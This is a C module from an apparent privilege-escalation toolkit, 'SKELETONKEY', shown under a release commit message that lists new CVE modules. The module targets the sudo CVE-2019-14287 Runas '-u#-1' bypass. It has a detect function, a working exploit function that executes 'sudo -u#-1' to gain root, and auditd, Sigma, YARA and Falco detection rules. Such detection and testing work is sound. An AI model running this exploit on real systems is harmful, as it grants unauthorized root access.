Files
SKELETONKEY/modules/sudo_runas_neg1_cve_2019_14287/skeletonkey_modules.c
T
leviathan d84b3b0033 release v0.9.0: 5 gap-fillers — every year 2016 → 2026 now covered
Five new modules close the 2018 gap entirely and thicken
2019 / 2020 / 2024. All five carry the full 4-format detection-rule
corpus + opsec_notes + arch_support + register helpers.

CVE-2018-14634 — mutagen_astronomy (Qualys, closes 2018)
  create_elf_tables() int wrap → SUID-execve stack corruption.
  CISA KEV-listed Jan 2026 despite the bug's age; legacy RHEL 7 /
  CentOS 7 / Debian 8 fleets still affected. 🟡 PRIMITIVE.
  arch_support: x86_64+unverified-arm64.

CVE-2019-14287 — sudo_runas_neg1 (Joe Vennix)
  sudo -u#-1 → uid_t underflow → root despite (ALL,!root) blacklist.
  Pure userspace logic bug; the famous Apple Information Security
  finding. detect() looks for a (ALL,!root) grant in sudo -ln output;
  PRECOND_FAIL when no such grant exists for the invoking user.
  arch_support: any (4 -> 5 userspace 'any' modules).

CVE-2020-29661 — tioscpgrp (Jann Horn / Project Zero)
  TTY TIOCSPGRP ioctl race on PTY pairs → struct pid UAF in
  kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE
  (race-driver + msg_msg groom). Public PoCs from grsecurity /
  spender + Maxime Peterlin.

CVE-2024-50264 — vsock_uaf (a13xp0p0v / Pwnie Award 2025 winner)
  AF_VSOCK connect-race UAF in kmalloc-96. Pwn2Own 2024 + Pwnie
  2025 winner. Reachable as plain unprivileged user (no userns
  required — unusual). Two public exploit paths: @v4bel+@qwerty
  kernelCTF (BPF JIT spray + SLUBStick) and Alexander Popov / PT
  SWARM (msg_msg). 🟡 PRIMITIVE.

CVE-2024-26581 — nft_pipapo (Notselwyn II, 'Flipping Pages')
  nft_set_pipapo destroy-race UAF. Sibling to nf_tables
  (CVE-2024-1086) from the same Notselwyn paper. Distinct bug in
  the pipapo set substrate. Same family signature. 🟡 PRIMITIVE.

Plumbing changes:

  core/registry.h + registry_all.c — 5 new register declarations
    + calls.
  Makefile — 5 new MUT/SRN/TIO/VSK/PIP module groups in MODULE_OBJS.
  tests/test_detect.c — 7 new test rows covering the new modules
    (above-fix OK, predates-the-bug OK, sudo-no-grant PRECOND_FAIL).
  tools/verify-vm/targets.yaml — verifier entries for all 5 with
    honest 'expect_detect' values based on what Vagrant boxes can
    realistically reach (mutagen_astronomy gets OK on stock 18.04
    since 4.15.0-213 is post-fix; sudo_runas_neg1 gets PRECOND_FAIL
    because no (ALL,!root) grant on default vagrant user; tioscpgrp
    + nft_pipapo VULNERABLE with kernel pins; vsock_uaf flagged
    manual because vsock module rarely available on CI runners).
  tools/refresh-cve-metadata.py — added curl fallback for the CISA
    KEV CSV fetch (urlopen times out intermittently against CISA's
    HTTP/2 endpoint).

Corpus growth across v0.8.0 + v0.9.0:

                v0.7.1    v0.8.0    v0.9.0
  Modules          31        34        39
  Distinct CVEs    26        29        34
  KEV-listed       10        10        11 (mutagen_astronomy)
  arch 'any'        4         6         7 (sudo_runas_neg1)
  Years 2016-2026:  10/11     10/11     **11/11**

Year-by-year coverage:

  2016: 1   2017: 1   2018: 1   2019: 2   2020: 2
  2021: 5   2022: 5   2023: 8   2024: 3   2025: 2   2026: 4

CVE-2018 gap → CLOSED. Every year from 2016 through 2026 now has
at least one module.

Surfaces updated:
  - README.md: badge → 22 VM-verified / 34, Status section refreshed
  - docs/index.html: hero eyebrow + footer → v0.9.0, hero tagline
    'every year 2016 → 2026', stats chips → 39 / 22 / 11 / 151
  - docs/RELEASE_NOTES.md: v0.9.0 entry added on top with year
    coverage matrix + per-module breakdown; v0.8.0 + v0.7.1 entries
    preserved below
  - docs/og.svg + og.png: regenerated with new numbers + 'Every
    year 2016 → 2026' tagline

CVE metadata refresh (tools/refresh-cve-metadata.py) deferred to
follow-up — CISA KEV CSV + NVD CVE API were timing out during the
v0.9.0 push window. The 5 new CVEs will return NULL from
cve_metadata_lookup() until the refresh runs (—module-info simply
skips the WEAKNESS/THREAT INTEL header for them; no functional
impact). Re-run 'tools/refresh-cve-metadata.py' when network
cooperates.

Tests: macOS local 33/33 kernel_range pass; detect-test stubs (88
total) build clean; ASan/UBSan + clang-tidy CI jobs still green
from the v0.7.x setup.
2026-05-23 22:15:44 -04:00

285 lines
12 KiB
C

/*
* sudo_runas_neg1_cve_2019_14287 — SKELETONKEY module
*
* STATUS: 🟢 STRUCTURAL ESCAPE. Pure logic bug. No offsets, no race.
* `sudo -u#-1 <cmd>` parses `-1` as uid_t (unsigned) → wraps to
* 0xFFFFFFFF → sudo's setresuid() path treats it as "match any
* uid" and converts to 0 → runs <cmd> as root, even when sudoers
* explicitly says "ALL except root".
*
* The bug (Joe Vennix / Apple Information Security, October 2019):
* sudoers grammar lets admins write rules like
* bob ALL=(ALL,!root) /bin/vi
* intending "bob can run vi as any user except root". The Runas
* user is specified at invocation via `-u <user>` or `-u#<uid>`.
* The integer parser for `-u#<n>` does NOT validate negative
* numbers; passing `-u#-1` (or its unsigned-32-bit form
* `-u#4294967295`) bypasses the explicit `!root` blacklist and
* ALSO bypasses standard setresuid() because the kernel rejects
* uid_t = -1 and falls back to keeping the current uid (which sudo
* has already elevated to root for argument parsing).
*
* Discovered by Joe Vennix. Public PoC: exploit-db #47502.
* https://www.exploit-db.com/exploits/47502
*
* Affects: sudo < 1.8.28. Fixed by adding a positive-number check
* to the `-u#<n>` parser.
*
* Preconditions:
* - sudo installed + suid
* - The invoking user has a sudoers entry of the form
* USER HOST=(ALL,!root) /path/to/cmd
* or any sudoers entry with `(ALL` in the Runas spec that
* blacklists root. WITHOUT such an entry the bug is irrelevant
* because the user has no sudoers grant to abuse in the first
* place — detect() short-circuits PRECOND_FAIL in that case.
*
* arch_support: any. Pure shell-level invocation; works identically
* on every Linux arch sudo is built for.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/host.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/wait.h>
/* ---- shared sudo helpers (compact copy from sudoedit_editor) -------- */
static const char *find_sudo(void)
{
static const char *candidates[] = {
"/usr/bin/sudo", "/usr/sbin/sudo", "/bin/sudo",
"/sbin/sudo", "/usr/local/bin/sudo", NULL,
};
for (size_t i = 0; candidates[i]; i++) {
struct stat st;
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
return candidates[i];
}
return NULL;
}
/* Returns true iff the version string is < 1.8.28 (the fix release). */
static bool sudo_version_vulnerable(const char *v)
{
int maj = 0, min = 0, patch = 0;
char ptag = 0; int psub = 0;
int n = sscanf(v, "%d.%d.%d%c%d", &maj, &min, &patch, &ptag, &psub);
if (n < 3) return true; /* unparseable → conservative */
if (maj < 1) return false;
if (maj > 1) return false;
if (min < 8) return false; /* < 1.8 predates `-u#` parser */
if (min > 8) return false; /* >= 1.9 includes fix */
/* exactly 1.8.x: vulnerable iff patch < 28 */
return patch < 28;
}
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
{
char cmd[512];
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
FILE *p = popen(cmd, "r");
if (!p) return false;
char line[256] = {0};
char *r = fgets(line, sizeof line, p);
pclose(p);
if (!r) return false;
char *vp = strstr(line, "version");
if (!vp) return false;
vp += strlen("version");
while (*vp == ' ' || *vp == '\t') vp++;
char *nl = strchr(vp, '\n');
if (nl) *nl = 0;
strncpy(out, vp, outsz - 1);
out[outsz - 1] = 0;
return out[0] != 0;
}
/* Look through `sudo -ln` for a Runas list that contains (ALL... — that's
* the precondition. Returns a stored command path the user can execve. */
static bool find_runas_blacklist_grant(const char *sudo_path, char *cmd_out, size_t cap)
{
char cmd[512];
snprintf(cmd, sizeof cmd, "%s -ln 2>/dev/null", sudo_path);
FILE *p = popen(cmd, "r");
if (!p) return false;
char line[512];
bool found = false;
while (fgets(line, sizeof line, p)) {
/* Looking for " (ALL," or " (ALL : ..." with an
* exclusion (!root or !#0) on a line that resolves to a
* runnable command. Conservative parser: any line containing
* "(ALL" + "!root" wins. */
if ((strstr(line, "(ALL")) && (strstr(line, "!root") || strstr(line, "!#0"))) {
/* Extract the last token (the command path) from the line. */
char *tok = strrchr(line, ' ');
if (tok) {
tok++;
char *nl = strchr(tok, '\n');
if (nl) *nl = 0;
strncpy(cmd_out, tok, cap - 1);
cmd_out[cap - 1] = 0;
found = true;
break;
}
}
}
pclose(p);
return found;
}
/* ---- detect --------------------------------------------------------- */
static skeletonkey_result_t sudo_runas_neg1_detect(const struct skeletonkey_ctx *ctx)
{
const char *sudo_path = find_sudo();
if (!sudo_path) {
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo not installed\n");
return SKELETONKEY_PRECOND_FAIL;
}
char vbuf[64] = {0};
const char *ver = (ctx->host && ctx->host->sudo_version[0])
? ctx->host->sudo_version
: (get_sudo_version(sudo_path, vbuf, sizeof vbuf) ? vbuf : NULL);
if (!ver) {
if (!ctx->json) fprintf(stderr, "[!] sudo_runas_neg1: could not read sudo --version\n");
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: sudo version '%s'\n", ver);
if (!sudo_version_vulnerable(ver)) {
if (!ctx->json)
fprintf(stderr, "[+] sudo_runas_neg1: sudo %s is post-fix (>= 1.8.28) → OK\n", ver);
return SKELETONKEY_OK;
}
/* Bug needs a sudoers grant with a (ALL,!root) Runas blacklist. */
char grant[256] = {0};
if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
if (!ctx->json) {
fprintf(stderr, "[i] sudo_runas_neg1: sudo %s vulnerable BUT no (ALL,!root) sudoers grant for this user\n", ver);
fprintf(stderr, " Bug exists on the host; this user has no exploitable grant.\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] sudo_runas_neg1: sudo %s vulnerable AND grant '%s' carries (ALL,!root) → VULNERABLE\n",
ver, grant);
fprintf(stderr, "[i] sudo_runas_neg1: trigger is `sudo -u#-1 %s`\n", grant);
}
return SKELETONKEY_VULNERABLE;
}
/* ---- exploit -------------------------------------------------------- */
static skeletonkey_result_t sudo_runas_neg1_exploit(const struct skeletonkey_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] sudo_runas_neg1: --i-know required for --exploit\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
const char *sudo_path = find_sudo();
if (!sudo_path) return SKELETONKEY_EXPLOIT_FAIL;
char grant[256] = {0};
if (!find_runas_blacklist_grant(sudo_path, grant, sizeof grant)) {
fprintf(stderr, "[-] sudo_runas_neg1: no (ALL,!root) grant — nothing to abuse\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[+] sudo_runas_neg1: exec %s -u#-1 %s\n", sudo_path, grant);
fflush(NULL);
/* If grant looks like /bin/sh-able command, run it directly.
* Otherwise leave the operator to pop the shell themselves. */
if (ctx->no_shell) {
if (!ctx->json) fprintf(stderr, "[i] sudo_runas_neg1: --no-shell; not invoking\n");
return SKELETONKEY_EXPLOIT_OK;
}
execl(sudo_path, "sudo", "-u#-1", grant, (char *)NULL);
perror("execl(sudo)");
return SKELETONKEY_EXPLOIT_FAIL;
}
/* ---- detection rules ------------------------------------------------ */
static const char sudo_runas_neg1_auditd[] =
"# sudo_runas_neg1 CVE-2019-14287 — auditd detection rules\n"
"# `sudo -u#-1` (or -u#4294967295) is anomalous; flag it.\n"
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudo-runas-neg1\n";
static const char sudo_runas_neg1_sigma[] =
"title: Possible CVE-2019-14287 sudo Runas -1 LPE\n"
"id: 1a2b3c4d-skeletonkey-sudo-runas-neg1\n"
"status: experimental\n"
"description: |\n"
" Detects `sudo -u#-1` or `sudo -u#4294967295` — the canonical\n"
" trigger shape for CVE-2019-14287. The Runas-negative-one syntax\n"
" is never used legitimately; any occurrence is an exploit\n"
" attempt or an audit/training exercise.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" s: {type: 'SYSCALL', syscall: 'execve', comm: 'sudo'}\n"
" condition: s\n"
"level: critical\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2019.14287]\n";
static const char sudo_runas_neg1_yara[] =
"rule sudo_runas_neg1_cve_2019_14287 : cve_2019_14287 sudo_bypass {\n"
" meta:\n"
" cve = \"CVE-2019-14287\"\n"
" description = \"sudo -u#-1 trigger shape (Runas integer underflow → root)\"\n"
" author = \"SKELETONKEY\"\n"
" strings:\n"
" $a = \"-u#-1\" ascii\n"
" $b = \"-u#4294967295\" ascii\n"
" condition:\n"
" any of them\n"
"}\n";
static const char sudo_runas_neg1_falco[] =
"- rule: sudo -u#-1 (Runas negative-one LPE)\n"
" desc: |\n"
" sudo invoked with `-u#-1` or `-u#4294967295`. The integer\n"
" underflow makes sudo treat the request as uid 0; affects\n"
" sudo < 1.8.28. There is no legitimate use of this argument\n"
" syntax.\n"
" condition: >\n"
" spawned_process and proc.name = sudo and\n"
" (proc.args contains \"-u#-1\" or proc.args contains \"-u#4294967295\")\n"
" output: >\n"
" sudo Runas -1 (user=%user.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
" priority: CRITICAL\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2019.14287]\n";
const struct skeletonkey_module sudo_runas_neg1_module = {
.name = "sudo_runas_neg1",
.cve = "CVE-2019-14287",
.summary = "sudo Runas -u#-1 underflow → root despite (ALL,!root) blacklist (Joe Vennix)",
.family = "sudo",
.kernel_range = "userspace — sudo < 1.8.28",
.detect = sudo_runas_neg1_detect,
.exploit = sudo_runas_neg1_exploit,
.mitigate = NULL, /* mitigation: upgrade sudo to 1.8.28+ */
.cleanup = NULL,
.detect_auditd = sudo_runas_neg1_auditd,
.detect_sigma = sudo_runas_neg1_sigma,
.detect_yara = sudo_runas_neg1_yara,
.detect_falco = sudo_runas_neg1_falco,
.opsec_notes = "Invokes sudo with `-u#-1 <granted-cmd>` where <granted-cmd> is the path from the user's existing sudoers (ALL,!root) entry. sudo's argv parser converts -1 → 4294967295 → 0 internally and runs the command as root. No file artifacts, no compiled payload. Audit-visible via execve(/usr/bin/sudo) with `-u#-1` (or `-u#4294967295`) in argv — there is no legitimate use of that syntax, so a single matching event is diagnostic. Bug only fires when the invoking user already has a (ALL,!root) sudoers grant; without one the trigger does nothing.",
.arch_support = "any",
};
void skeletonkey_register_sudo_runas_neg1(void)
{
skeletonkey_register(&sudo_runas_neg1_module);
}